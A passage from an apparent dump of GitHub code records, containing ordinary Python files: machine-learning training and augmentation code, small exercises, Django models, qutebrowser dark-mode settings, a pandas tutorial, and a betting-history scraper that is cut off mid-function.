IMAGE_SIZE = 84\n    BACKBONE = 'conv64-p-o'\n    # BACKBONE = 'resnet18'\n    BATCH_SIZE = 8 // EPOCHS_MULTIPLIER\n    VAL_BATCH_SIZE = 15 // EPOCHS_MULTIPLIER\n    BALANCED_BATCHES = True\n\n    # N_SHOT = 5\n\n    print(\"Preparations for training...\")\n    dataset = LABELED_DATASETS[DATASET_NAME](augment_prob=AUGMENT_PROB, image_size=IMAGE_SIZE)\n    base_subdataset, val_subdataset = dataset.subdataset.extract_classes(BASE_CLASSES)\n    base_subdataset.set_test(False)\n    val_subdataset.set_test(True)\n\n    for N_SHOT in (1, 5,):\n        train_protonetae(base_subdataset=base_subdataset, val_subdataset=val_subdataset, n_shot=N_SHOT, n_way=N_WAY,\n                         n_iterations=ITERATIONS, batch_size=BATCH_SIZE,\n                         eval_period=EVAL_PERIOD,\n                         record=RECORD,\n                         augment=AUGMENT_PROB,\n                         dataset=DATASET_NAME,\n                         base_classes=BASE_CLASSES,\n                         dataset_classes=dataset.CLASSES,\n                         image_size=IMAGE_SIZE,\n                         backbone_name=BACKBONE,\n                         balanced_batches=BALANCED_BATCHES,\n                         val_batch_size=VAL_BATCH_SIZE)\n","repo_name":"adia1223/torch-nn-project","sub_path":"models/images/classification/few_shot_learning/protonet_ae.py","file_name":"protonet_ae.py","file_ext":"py","file_size_in_byte":12612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"28178108082","text":"\"\"\"\r\n所有尾部的0都是2x5得来的，2的个数肯定是足够的\r\n所以其实就计算5的个数即可\r\n\"\"\"\r\nclass Solution(object):\r\n    def trailingZeroes(self, n):\r\n        res = 0\r\n        while n > 0:\r\n            n = int(n/5)\r\n            res += n\r\n        return res\r\n","repo_name":"jasonusaco/Leetcode-Practice","sub_path":"Math&Puzzles/lc172.py","file_name":"lc172.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"33947273067","text":"memorySpace = [\n    \"cccccc\", \"cccccd\", \"ccccdc\", \"ccccdd\", \"cccdcc\", \"cccdcd\", \"cccddc\", \"cccddd\",\n    \"ccdccc\", \"ccdccd\", \"ccdcdc\", \"ccdcdd\", \"ccddcc\", \"ccddcd\", \"ccdddc\", \"ccdddd\",\n    \"cdcccc\", \"cdcccd\", \"cdccdc\", \"cdccdd\", \"cdcdcc\", \"cdcdcd\", \"cdcddc\", \"cdcddd\",\n    \"cddccc\", \"cddccd\", \"cddcdc\", \"cddcdd\", \"cdddcc\", \"cdddcd\", \"cddddc\", \"cddddd\",\n    \"dccccc\", \"dccccd\", \"dcccdc\", \"dcccdd\", \"dccdcc\", \"dccdcd\", \"dccddc\", \"dccddd\",\n    \"dcdccc\", \"dcdccd\", \"dcdcdc\", \"dcdcdd\", \"dcddcc\", \"dcddcd\", \"dcdddc\", \"dcdddd\",\n    \"ddcccc\", \"ddcccd\", \"ddccdc\", \"ddccdd\", \"ddcdcc\", \"ddcdcd\", \"ddcddc\", \"ddcddd\",\n    \"dddccc\", \"dddccd\", \"dddcdc\", \"dddcdd\", \"ddddcc\", \"ddddcd\", \"dddddc\", \"dddddd\",\n]\n\nmoves = [\"c\", \"d\"]\n","repo_name":"beelouis/iteratedPrisonersDilemma","sub_path":"Moves.py","file_name":"Moves.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"jv","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"42646362023","text":"from django.db import models\n\n__all__ = (\n    'InstagramUser',\n)\n\n\nclass InstagramUser(models.Model):\n    name = models.CharField(max_length=50)\n\n    # 팔로잉만 있고 팔로워가 없는 이유 : 인스타그램에서 누군가를 팔로잉하는것밖에 없음.\n    following = models.ManyToManyField(\n        'self',\n        # 대칭관계가 아님 -> 팔로잉만 하는 인스타그램 같은 서비스 / 페이스북과 다름\n        symmetrical=False,\n        # 역참조시 사용할 이름\n        related_name='followers',\n    )\n\n    class Meta:\n        verbose_name_plural = 'Symmetrical - InstagramUser'\n\n    def __str__(self):\n\n        return \"{} following({}) followers({})\".format(\n            self.name,\n\n            # following하는 사람들 명단\n            ', '.join(self.following.values_list('name', flat=True)),\n\n            # follower들 명단\n            ', '.join(self.followers.all().values_list('name', flat=True)),\n        )\n\n\n    # def followers(self):\n    #     # 자신을 following하고 있는 사람들을 리턴\n    #     # 문자열이 아닌 쿼리 자체\n    #     return self.instagramuser_set.all()\n    #       -> related_name 지정해서 instagramuser_set 못씀\n\n    # -> 위에 related_name='followers' 역참조 이름 정의 한 줄로 해결.\n\n","repo_name":"smallbee3/Study-Django_Document","sub_path":"app/relations/many_to_many/models/symmetrical.py","file_name":"symmetrical.py","file_ext":"py","file_size_in_byte":1303,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"73842773813","text":"#fonctions avec nb de paramètres variable\r\n\r\ndef plus(title, **args) : #la 2e étoile sert à donner une clé a chaque valeur.\r\n    print (\"TITLE :\", title)\r\n    result = 0\r\n    for n in args.values() :  #.values() sert à aller chercher les valeurs des paramètres si que somme de nombre enlever .values()\r\n        result += n\r\n    return result\r\n\r\nprint(plus(\"somme\", math=4, anglais=9, geo=3)) #pas de maj pour les clés","repo_name":"Ssekli/Math","sub_path":"main vari.py","file_name":"main vari.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"19274412602","text":"import numpy as np\nimport imgaug as ia\nfrom imgaug import augmenters as iaa\n\nclass Compose(object):\n    \"\"\"Composes several transforms together.\n    Args:\n        transforms (list of ``Transform`` objects): list of transforms to compose.\n    \"\"\"\n    def __init__(self, transforms=[]):\n        self.transforms = transforms\n\n    def __call__(self, img):\n        for t in self.transforms:\n            img = t(img)\n        return img\n\n    def add(self, transform):\n        self.transforms.append(transform)\n\nclass KeepAspect(object):\n    def __init__(self):\n        pass\n\n    def __call__(self, sample):\n        image, label = sample['image'], sample['bboxes']\n        h, w, _ = image.shape\n        dim_diff = np.abs(h - w)\n        pad1, pad2 = dim_diff // 2, dim_diff - dim_diff // 2\n        pad = ((pad1, pad2), (0, 0), (0, 0)) if h <= w else ((0, 0), (pad1, pad2), (0, 0))\n        image_new = np.pad(image, pad, 'constant', constant_values=0)\n        padded_h, padded_w, _ = image_new.shape\n        for i in range(len(label)):\n            label[i].x1 += pad[1][0]\n            label[i].y1 += pad[0][0]\n            label[i].x2 += pad[1][0]\n            label[i].y2 += pad[0][0]\n        return {'image': image_new, 'bboxes': label}\n\n\nclass ImageAug(object):\n    def __init__(self,height,width,split):\n        sometimes = lambda aug: iaa.Sometimes(0.5, aug)\n        if split == 'train':\n            self.seq = iaa.Sequential(\n                [\n                    # Blur each image with varying strength using\n                    # gaussian blur (sigma between 0 and 3.0),\n                    # average/uniform blur (kernel size between 2x2 and 7x7)\n                    # median blur (kernel size between 3x3 and 11x11).\n                    iaa.Fliplr(0.5), # horizontally flip 50% of all images\n                    # iaa.Flipud(0.2), # vertically flip 20% of all images\n                    # crop images by -5% to 10% of their height/width\n                    sometimes(iaa.CropAndPad(\n                        percent=(-0.05, 0.1),\n                        pad_mode=ia.ALL,\n                        pad_cval=(0, 255)\n                    )),\n                    sometimes(iaa.Affine(\n                        scale={\"x\": (0.8, 1.2), \"y\": (0.8, 1.2)}, # scale images to 80-120% of their size, individually per axis\n                        translate_percent={\"x\": (-0.2, 0.2), \"y\": (-0.2, 0.2)}, # translate by -20 to +20 percent (per axis)\n                        # rotate=(-45, 45), # rotate by -45 to +45 degrees\n                        # shear=(-16, 16), # shear by -16 to +16 degrees\n                        order=[0, 1], # use nearest neighbour or bilinear interpolation (fast)\n                        cval=(0, 255), # if mode is constant, use a cval between 0 and 255\n                        mode=ia.ALL # use any of scikit-image's warping modes (see 2nd image from the top for examples)\n                    )),\n                    iaa.Resize({\"height\": height, \"width\": width}),\n                    sometimes(iaa.OneOf([\n                        iaa.GaussianBlur((0, 3.0)),\n                        iaa.AverageBlur(k=(2, 7)),\n                        iaa.MedianBlur(k=(3, 11)),\n                    ])),\n                    # Sharpen each image, overlay the result with the original\n                    # image using an alpha between 0 (no sharpening) and 1\n                    # (full sharpening effect).\n                    sometimes(iaa.Sharpen(alpha=(0, 0.5), lightness=(0.75, 1.5))),\n                    # Add gaussian noise to some images.\n                    sometimes(iaa.AdditiveGaussianNoise(loc=0, scale=(0.0, 0.05*255), per_channel=0.5)),\n                    # Add a value of -5 to 5 to each pixel.\n                    sometimes(iaa.Add((-5, 5), per_channel=0.5)),\n                    # Change brightness of images (80-120% of original value).\n                    sometimes(iaa.Multiply((0.8, 1.2), per_channel=0.5)),\n                    # Improve or worsen the contrast of images.\n                    sometimes(iaa.ContrastNormalization((0.5, 2.0), per_channel=0.5)),\n                ],\n                # do all of the above augmentations in random order\n                random_order=True\n            )\n        else:\n            self.seq=iaa.Resize({\"height\": height, \"width\": width})\n\n    def __call__(self, sample):\n        seq_det = self.seq.to_deterministic()\n        image, label = sample['image'], sample['bboxes']\n        shape=image.shape\n        image = seq_det.augment_image(image)\n        bbs = ia.BoundingBoxesOnImage(label, shape=shape)\n        label=seq_det.augment_bounding_boxes(bbs).bounding_boxes\n        return {'image': image, 'bboxes': label}","repo_name":"fred1912/torch-yolov3","sub_path":"utils/transforms.py","file_name":"transforms.py","file_ext":"py","file_size_in_byte":4669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"26158647070","text":"import io\nimport sys\nimport contextlib\n\nfrom typing import Tuple\n\nimport numpy as np\n\nimport textworld\nfrom textworld.generator.game import Event, Quest, Game\nfrom textworld.generator.game import GameOptions\n\n\n@contextlib.contextmanager\ndef capture_stdout():\n    # Capture stdout.\n    stdout_bak = sys.stdout\n    sys.stdout = out = io.StringIO()\n    try:\n        yield out\n    finally:\n        # Restore stdout\n        sys.stdout = stdout_bak\n\n\ndef _compile_test_game(game, options: GameOptions) -> str:\n    grammar_flags = {\n        \"theme\": \"house\",\n        \"include_adj\": False,\n        \"only_last_action\": True,\n        \"blend_instructions\": True,\n        \"blend_descriptions\": True,\n        \"refer_by_name_only\": True,\n        \"instruction_extension\": []\n    }\n    rng_grammar = np.random.RandomState(1234)\n    grammar = textworld.generator.make_grammar(grammar_flags, rng=rng_grammar)\n    game.change_grammar(grammar)\n\n    game_file = textworld.generator.compile_game(game, options)\n    return game_file\n\n\ndef build_and_compile_no_quest_game(options: GameOptions) -> Tuple[Game, str]:\n    M = textworld.GameMaker()\n\n    room = M.new_room()\n    M.set_player(room)\n    item = M.new(type=\"o\")\n    room.add(item)\n    game = M.build()\n\n    game_file = _compile_test_game(game, options)\n    return game, game_file\n\n\ndef build_game(options: GameOptions) -> Game:\n    M = textworld.GameMaker()\n\n    # Create a 'bedroom' room.\n    R1 = M.new_room(\"bedroom\")\n    R2 = M.new_room(\"kitchen\")\n    M.set_player(R1)\n\n    path = M.connect(R1.east, R2.west)\n    path.door = M.new(type='d', name='wooden door')\n    path.door.add_property(\"open\")\n\n    carrot = M.new(type='f', name='carrot')\n    M.inventory.add(carrot)\n\n    # Add a closed chest in R2.\n    chest = M.new(type='c', name='chest')\n    chest.add_property(\"open\")\n    R2.add(chest)\n\n    quest1_cmds = [\"go east\", \"insert carrot into chest\"]\n    carrot_in_chest = M.new_event_using_commands(quest1_cmds)\n    eating_carrot = Event(conditions={M.new_fact(\"eaten\", carrot)})\n    quest1 = Quest(win_events=[carrot_in_chest],\n                   fail_events=[eating_carrot],\n                   reward=2)\n\n    quest2_cmds = quest1_cmds + [\"close chest\"]\n    quest2_actions = M.new_event_using_commands(quest2_cmds).actions\n    chest_closed_with_carrot = Event(\n        conditions={\n            M.new_fact(\"in\", carrot, chest),\n            M.new_fact(\"closed\", chest)\n        },\n        actions=quest2_actions)\n\n    quest2 = Quest(win_events=[chest_closed_with_carrot],\n                   fail_events=[eating_carrot])\n\n    M.quests = [quest1, quest2]\n    M.set_walkthrough(quest2_cmds)\n    game = M.build()\n    return game\n\n\ndef build_and_compile_game(options: GameOptions) -> Tuple[Game, str]:\n    game = build_game(options)\n    game_file = _compile_test_game(game, options)\n    return game, game_file\n","repo_name":"microsoft/TextWorld","sub_path":"textworld/testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":2843,"program_lang":"python","lang":"en","doc_type":"code","stars":1102,"dataset":"github-code","pt":"21"}
+{"seq_id":"16004244076","text":"import os\nimport enum\nfrom typing import Any, Iterable, Iterator, Mapping, Optional, Set, Tuple, Union\n\ntry:\n    from PyQt5.QtWebEngine import PYQT_WEBENGINE_VERSION\nexcept ImportError:  # pragma: no cover\n    # Added in PyQt 5.13\n    PYQT_WEBENGINE_VERSION = None  # type: ignore[assignment]\n\nfrom qutebrowser.config import config\nfrom qutebrowser.utils import usertypes, qtutils, utils, log\n\n\nclass Variant(enum.Enum):\n\n    \"\"\"A dark mode variant.\"\"\"\n\n    qt_511_to_513 = enum.auto()\n    qt_514 = enum.auto()\n    qt_515_0 = enum.auto()\n    qt_515_1 = enum.auto()\n    qt_515_2 = enum.auto()\n\n\n# Mapping from a colors.webpage.darkmode.algorithm setting value to\n# Chromium's DarkModeInversionAlgorithm enum values.\n_ALGORITHMS = {\n    # 0: kOff (not exposed)\n    # 1: kSimpleInvertForTesting (not exposed)\n    'brightness-rgb': 2,  # kInvertBrightness\n    'lightness-hsl': 3,  # kInvertLightness\n    'lightness-cielab': 4,  # kInvertLightnessLAB\n}\n# kInvertLightnessLAB is not available with Qt < 5.14\n_ALGORITHMS_BEFORE_QT_514 = _ALGORITHMS.copy()\n_ALGORITHMS_BEFORE_QT_514['lightness-cielab'] = _ALGORITHMS['lightness-hsl']\n\n# Mapping from a colors.webpage.darkmode.policy.images setting value to\n# Chromium's DarkModeImagePolicy enum values.\n_IMAGE_POLICIES = {\n    'always': 0,  # kFilterAll\n    'never': 1,  # kFilterNone\n    'smart': 2,  # kFilterSmart\n}\n\n# Mapping from a colors.webpage.darkmode.policy.page setting value to\n# Chromium's DarkModePagePolicy enum values.\n_PAGE_POLICIES = {\n    'always': 0,  # kFilterAll\n    'smart': 1,  # kFilterByBackground\n}\n\n_BOOLS = {\n    True: 'true',\n    False: 'false',\n}\n\n_DarkModeSettingsType = Iterable[\n    Tuple[\n        str,  # qutebrowser option name\n        str,  # darkmode setting name\n        # Mapping from the config value to a string (or something convertable\n        # to a string) which gets passed to Chromium.\n        Optional[Mapping[Any, Union[str, int]]],\n    ],\n]\n\n_DarkModeDefinitionType = Tuple[_DarkModeSettingsType, Set[str]]\n\n_QT_514_SETTINGS = [\n    ('policy.images', 'darkModeImagePolicy', _IMAGE_POLICIES),\n    ('contrast', 'darkModeContrast', None),\n    ('grayscale.all', 'darkModeGrayscale', _BOOLS),\n\n    ('policy.page', 'darkModePagePolicy', _PAGE_POLICIES),\n    ('threshold.text', 'darkModeTextBrightnessThreshold', None),\n    ('threshold.background', 'darkModeBackgroundBrightnessThreshold', None),\n    ('grayscale.images', 'darkModeImageGrayscale', None),\n]\n\n# Our defaults for policy.images are different from Chromium's, so we mark it as\n# mandatory setting - except on Qt 5.15.0 where we don't, so we don't get the\n# workaround warning below if the setting wasn't explicitly customized.\n\n_DARK_MODE_DEFINITIONS: Mapping[Variant, _DarkModeDefinitionType] = {\n    Variant.qt_515_2: ([\n        # 'darkMode' renamed to 'forceDarkMode'\n        ('enabled', 'forceDarkModeEnabled', _BOOLS),\n        ('algorithm', 'forceDarkModeInversionAlgorithm', _ALGORITHMS),\n\n        ('policy.images', 'forceDarkModeImagePolicy', _IMAGE_POLICIES),\n        ('contrast', 'forceDarkModeContrast', None),\n        ('grayscale.all', 'forceDarkModeGrayscale', _BOOLS),\n\n        ('policy.page', 'forceDarkModePagePolicy', _PAGE_POLICIES),\n        ('threshold.text', 'forceDarkModeTextBrightnessThreshold', None),\n        (\n            'threshold.background',\n            'forceDarkModeBackgroundBrightnessThreshold',\n            None\n        ),\n        ('grayscale.images', 'forceDarkModeImageGrayscale', None),\n    ], {'enabled', 'policy.images'}),\n\n    Variant.qt_515_1: ([\n        # 'policy.images' mandatory again\n        ('enabled', 'darkModeEnabled', _BOOLS),\n        ('algorithm', 'darkModeInversionAlgorithm', _ALGORITHMS),\n\n        ('policy.images', 'darkModeImagePolicy', _IMAGE_POLICIES),\n        ('contrast', 'darkModeContrast', None),\n        ('grayscale.all', 'darkModeGrayscale', _BOOLS),\n\n        ('policy.page', 'darkModePagePolicy', _PAGE_POLICIES),\n        ('threshold.text', 'darkModeTextBrightnessThreshold', None),\n        ('threshold.background', 'darkModeBackgroundBrightnessThreshold', None),\n        ('grayscale.images', 'darkModeImageGrayscale', None),\n    ], {'enabled', 'policy.images'}),\n\n    Variant.qt_515_0: ([\n        # 'policy.images' not mandatory because it's broken\n        ('enabled', 'darkModeEnabled', _BOOLS),\n        ('algorithm', 'darkModeInversionAlgorithm', _ALGORITHMS),\n\n        ('policy.images', 'darkModeImagePolicy', _IMAGE_POLICIES),\n        ('contrast', 'darkModeContrast', None),\n        ('grayscale.all', 'darkModeGrayscale', _BOOLS),\n\n        ('policy.page', 'darkModePagePolicy', _PAGE_POLICIES),\n        ('threshold.text', 'darkModeTextBrightnessThreshold', None),\n        ('threshold.background', 'darkModeBackgroundBrightnessThreshold', None),\n        ('grayscale.images', 'darkModeImageGrayscale', None),\n    ], {'enabled'}),\n\n    Variant.qt_514: ([\n        ('algorithm', 'darkMode', _ALGORITHMS),  # new: kInvertLightnessLAB\n\n        ('policy.images', 'darkModeImagePolicy', _IMAGE_POLICIES),\n        ('contrast', 'darkModeContrast', None),\n        ('grayscale.all', 'darkModeGrayscale', _BOOLS),\n\n        ('policy.page', 'darkModePagePolicy', _PAGE_POLICIES),\n        ('threshold.text', 'darkModeTextBrightnessThreshold', None),\n        ('threshold.background', 'darkModeBackgroundBrightnessThreshold', None),\n        ('grayscale.images', 'darkModeImageGrayscale', None),\n    ], {'algorithm', 'policy.images'}),\n\n    Variant.qt_511_to_513: ([\n        ('algorithm', 'highContrastMode', _ALGORITHMS_BEFORE_QT_514),\n\n        ('policy.images', 'highContrastImagePolicy', _IMAGE_POLICIES),  # new: smart\n        ('contrast', 'highContrastContrast', None),\n        ('grayscale.all', 'highContrastGrayscale', _BOOLS),\n    ], {'algorithm', 'policy.images'}),\n}\n\n\ndef _variant() -> Variant:\n    \"\"\"Get the dark mode variant based on the underlying Qt version.\"\"\"\n    env_var = os.environ.get('QUTE_DARKMODE_VARIANT')\n    if env_var is not None:\n        try:\n            return Variant[env_var]\n        except KeyError:\n            log.init.warning(f\"Ignoring invalid QUTE_DARKMODE_VARIANT={env_var}\")\n\n    if PYQT_WEBENGINE_VERSION is not None:\n        # Available with Qt >= 5.13\n        if PYQT_WEBENGINE_VERSION >= 0x050f02:\n            return Variant.qt_515_2\n        elif PYQT_WEBENGINE_VERSION == 0x050f01:\n            return Variant.qt_515_1\n        elif PYQT_WEBENGINE_VERSION == 0x050f00:\n            return Variant.qt_515_0\n        elif PYQT_WEBENGINE_VERSION >= 0x050e00:\n            return Variant.qt_514\n        elif PYQT_WEBENGINE_VERSION >= 0x050d00:\n            return Variant.qt_511_to_513\n        raise utils.Unreachable(hex(PYQT_WEBENGINE_VERSION))\n\n    # If we don't have PYQT_WEBENGINE_VERSION, we're on 5.12 (or older, but 5.12 is the\n    # oldest supported version).\n    assert not qtutils.version_check(  # type: ignore[unreachable]\n        '5.13', compiled=False)\n\n    return Variant.qt_511_to_513\n\n\ndef settings() -> Iterator[Tuple[str, str]]:\n    \"\"\"Get necessary blink settings to configure dark mode for QtWebEngine.\"\"\"\n    if not config.val.colors.webpage.darkmode.enabled:\n        return\n\n    variant = _variant()\n    setting_defs, mandatory_settings = _DARK_MODE_DEFINITIONS[variant]\n\n    for setting, key, mapping in setting_defs:\n        # To avoid blowing up the commandline length, we only pass modified\n        # settings to Chromium, as our defaults line up with Chromium's.\n        # However, we always pass enabled/algorithm to make sure dark mode gets\n        # actually turned on.\n        value = config.instance.get(\n            'colors.webpage.darkmode.' + setting,\n            fallback=setting in mandatory_settings)\n        if isinstance(value, usertypes.Unset):\n            continue\n\n        if (setting == 'policy.images' and value == 'smart' and\n                variant == Variant.qt_515_0):\n            # WORKAROUND for\n            # https://codereview.qt-project.org/c/qt/qtwebengine-chromium/+/304211\n            log.init.warning(\"Ignoring colors.webpage.darkmode.policy.images = smart \"\n                             \"because of Qt 5.15.0 bug\")\n            continue\n\n        if mapping is not None:\n            value = mapping[value]\n\n        yield key, str(value)\n","repo_name":"omuseworks/qutebrowser","sub_path":"qutebrowser/browser/webengine/darkmode.py","file_name":"darkmode.py","file_ext":"py","file_size_in_byte":8231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"10118524075","text":"import time\nimport os\n\ndef focus_timer(duration):\n    \"\"\"A function that starts a countdown timer for a given duration\"\"\"\n\n    while duration:\n        mins, secs = divmod(duration, 60)\n        timer = '{:02d}:{:02d}'.format(mins, secs)\n        print(timer, end=\"\\r\")\n        time.sleep(1)\n        duration -= 1\n\n    print(\"Time's up!\")\n    # Play an alarm sound when the timer ends\n    os.system('afplay /System/Library/Sounds/Glass.aiff')\n\nif __name__ == '__main__':\n    # Set the duration of the focus timer in seconds (default 25 minutes)\n    duration = 60 * 60\n    focus_timer(duration)\n","repo_name":"mrothko2/clock","sub_path":"clock.py","file_name":"clock.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"40897751732","text":"import pandas as pd\n\n# Pandas 에서는 Dict 형태의 자료형을 Series 라고 정의함 ('index' 라는 Key 값을 가짐)\narray = pd.Series(['사과', '바나나', '당근'], index=['a', 'b', 'c'])\n\nprint(array)\nprint()\nprint(array['a'])  # index 로 원소 접근 가능\nprint()\n\n# Series 는 다음과 같이 기존의 Dict 를 통해서 생성할 수도 있음\ndata = {\n    'a': '사과',\n    'b': '바나나',\n    'c': '당근'\n}\n\narray = pd.Series(data)\nprint(array['a'])  # index 로 원소 접근 가능\nprint()\n\n# Data Frame : 다수의 Series 를 모아 처리하기 위한 자료형 (엑셀의 표 형태)\nword_dict = {\n    'Apple': '사과',\n    'Banana': '바나나',\n    'Carrot': '당근'\n}\n\nfrequency_dict = {\n    'Apple': 3,\n    'Banana': 5,\n    'Carrot': 7\n}\n\nword = pd.Series(word_dict)\nfrequency = pd.Series(frequency_dict)\n\nsummary = pd.DataFrame({\n    'word': word,\n    'frequency': frequency\n})\n\nprint(summary)\nprint()\n\n# Series 연산 : 다수의 시리즈를 서로 연산하여 새로운 시리즈를 만들 수 있음\n\nword_dict = {\n    'Apple': '사과',\n    'Banana': '바나나',\n    'Carrot': '당근'\n}\n\nfrequency_dict = {\n    'Apple': 3,\n    'Banana': 5,\n    'Carrot': 7\n}\n\nimportance_dict = {\n    'Apple': 3,\n    'Banana': 2,\n    'Carrot': 1\n}\n\nword = pd.Series(word_dict)\nfrequency = pd.Series(frequency_dict)\nimportance = pd.Series(importance_dict)\n\nsummary = pd.DataFrame({\n    'word': word,\n    'frequency': frequency,\n    'importance': importance\n})\n\nprint(summary)\nprint()\n\nscore = summary['frequency'] * summary['importance']\nsummary['score'] = score  # 일련 Series 간 연산을 통해 'score'라는 Series 생성\n\nprint(summary)\nprint()\n\n# Data Frame 의 슬라이싱\nword_dict = {\n    'Apple': '사과',\n    'Banana': '바나나',\n    'Carrot': '당근',\n    'Durian': '두리안'\n}\n\nfrequency_dict = {\n    'Apple': 3,\n    'Banana': 5,\n    'Carrot': 7,\n    'Durian': 2\n}\n\nimportance_dict = {\n    'Apple': 3,\n    'Banana': 2,\n    'Carrot': 1,\n    'Durian': 1\n}\n\nword = pd.Series(word_dict)\nfrequency = pd.Series(frequency_dict)\nimportance = pd.Series(importance_dict)\n\nsummary = pd.DataFrame({\n    'word': word,\n    'frequency': frequency,\n    'importance': importance\n})\n\nprint(summary)\nprint()\n\nprint(summary.loc['Banana': 'Carrot', 'importance'])  # 이름 기준으로 슬라이싱\nprint()\n\nprint(summary.iloc[1:3, 2:])  # 인덱스 기준으로 슬라이싱\nprint()\n\n# 데이터의 변경 및 삽입도 가능\nsummary.loc['Apple', 'importance'] = 5  # 데이터 변경\nsummary.loc['Elderberry'] = ['엘더베리', 5, 3]  # 데이터 삽입\nprint(summary)\nprint()\n\n# Excel 로 데이터 내보내기 / 불러오기\nsummary.to_csv(\"summary.csv\", encoding=\"utf-8-sig\")\nsaved = pd.read_csv(\"summary.csv\", index_col=0)\n\n","repo_name":"H43RO/DataAnalysis_Practice","sub_path":"Pandas/1.Basic.py","file_name":"1.Basic.py","file_ext":"py","file_size_in_byte":2769,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"40205517721","text":"# coding=utf-8\n\nfrom bs4 import BeautifulSoup\nimport re\nfrom datetime import datetime\nimport pandas as pd\nimport os\nimport calendar\n\n# produce year-month backwards iterators\ndef month_year_down_iter(start_month, start_year, end_month, end_year):\n    ym_start= 12*start_year + start_month - 1\n    ym_end= 12*end_year + end_month - 1\n    for ym in range( ym_start, ym_end, -1 ):\n        y, m = divmod( ym, 12 )\n        yield (y, m+1)\n\n\n# from html get all unique links, which contain a keyword\ndef get_urls_from_html(html, keyword):\n    soup_level1=BeautifulSoup(html, 'lxml')\n    allUrls = list()\n    for link in soup_level1.find_all('a', href=re.compile(keyword)):\n        author_url = link.get(\"href\")\n        allUrls.append(author_url)\n    return set(allUrls)\n\n\n# read one bet from an html-object bet_src\n# time_crawled, author_name - will be added to the bet as is\ndef read_bet(bet_src, time_crawled, author_name):\n    #skip tablet and head rows\n    if not(len(set(bet_src['class']) & set([\"head\", \"tablet-version\"])) == 0):\n        return None\n    else :\n        ##create bet\n        record_bet = {}\n        # date crawled\n        record_bet[\"crawled-date\"] = time_crawled\n        #get type\n        typeDict = {u'Ординар' : \"single\"\n            ,u'Экспресс' : \"accu\"\n            }\n        record_bet[\"type\"] = typeDict.get(bet_src.find('div', \"type\").string, \"N\")\n        #get date\n        record_bet[\"placed-date\"] = bet_src.find('div', \"date\").string\n        #get status\n        bet_stat = bet_src.find('div', \"status\")\n        if bet_stat.string == u'Ожидание':\n            return None #don't store upcoming events\n        outcomeDict = {u'Проигрыш' : \"L\"\n            ,u'Возврат' : \"R\"\n            ,u'Выигрыш' : \"W\"\n            #,u'Ожидание' : \"U\" #don't store upcoming events\n            }\n        record_bet[\"status\"] = outcomeDict.get(bet_stat.string, \"X\")\n\n        #process single and multi differently\n        if record_bet[\"type\"] == \"single\" :\n            #get factor\n            factor_tag = bet_src.find('div', \"factor\")\n            factor_value_tag = factor_tag.find('div', \"factor-value\")\n            if (factor_value_tag is None) :\n                print(str(datetime.now()), \"ERR\", \"scraper\", \"empty factor\", author_name, record_bet[\"placed-date\"], factor_tag)\n                return None\n            else :\n                record_bet[\"factor\"] = float(\n                    factor_value_tag[\"data-factor-dec\"].replace(\",\", \".\"))\n            #get stake\n            bet_match = bet_src.find('div', \"match\")\n            bet_match_name = bet_match.find('a', \"match-name\")\n            record_bet[\"match\"] = bet_match_name.string\n            bet_date = bet_match.find('div', \"express-date\")\n            record_bet[\"date\"] = bet_date.string\n            record_bet[\"stake\"] = bet_src.find('div', \"stake\").string\n        elif record_bet[\"type\"] == \"accu\":\n            for exp in bet_src.find_all('div', \"express-group\"):\n                final_tag = exp.find('div', \"final-row\")\n                #get factor\n                factor_tag = final_tag.find('div', \"factor\")\n                factor_value_tag = factor_tag.find('div', \"factor-value\")\n                if (factor_value_tag is None) :\n                    print(str(datetime.now()), \"ERR\", \"scraper\", \"empty factor\", author_name, record_bet[\"placed-date\"], factor_tag)\n                    return None\n                else :\n                    record_bet[\"factor\"] = float(\n                        factor_value_tag[\"data-factor-dec\"].replace(\",\", \".\"))\n                #match will contain all factors for singles\n                record_bet[\"match\"] = u''\n                record_bet[\"date\"] = record_bet[\"placed-date\"]\n                for exp_row in exp.find_all('div', \"express-row\"):\n                    if\"final-row\" in exp_row[\"class\"]:\n                        continue\n                    else:\n                        #get match\n                        match_exp = exp_row.find('div', \"match\")\n                        if match_exp.find('div', \"express-date\").string > record_bet[\"date\"]: #TODO correct comparison\n                            record_bet[\"date\"] = match_exp.find('div', \"express-date\").string\n                        #get factor\n                        factor_tag = exp_row.find('div', \"factor\")\n                        factor_value_tag = factor_tag.find('div', \"factor-value\")\n                        if (factor_value_tag is None) :\n                            print(str(datetime.now()), \"ERR\", \"scraper\", \"empty factor\", author_name, dat, factor_tag)\n                            continue\n                        else :\n                            record_bet[\"match\"] = record_bet[\"match\"] + u' ' + factor_value_tag[\"data-factor-dec\"].replace(\",\", \".\")\n                #stake will contain the number of singles in multi\n                record_bet[\"stake\"] = str(record_bet[\"match\"].count('.'))\n                #TODO remove code duplicates\n        else :\n            print(str(datetime.now()), \"ERR\", \"scraper\", \"unknown bet type\", author_name, record_bet[\"placed-date\"], record_bet[\"type\"])\n            return None\n        record_bet[\"author\"] = author_name\n        return record_bet\n\n\n# merge df_crawled dataframe with df_saved one:\n# 1. all existing records in df_saved stay unchaged\n# 2. only records not present in df_saved will be upmerged\n# 3. records from df_crawled and df_saved are regarded as equal,\n#   if all of their values except 'crawled-date' are equal\ndef merge_crawled_saved(df_crawled, df_saved):\n    if df_saved is None:\n        return df_crawled\n    else :\n        # JOIN on all columns, except  crawled-date, because it changes in every execution\n        join_cols = [\"author\", \"type\", \"placed-date\", \"status\", 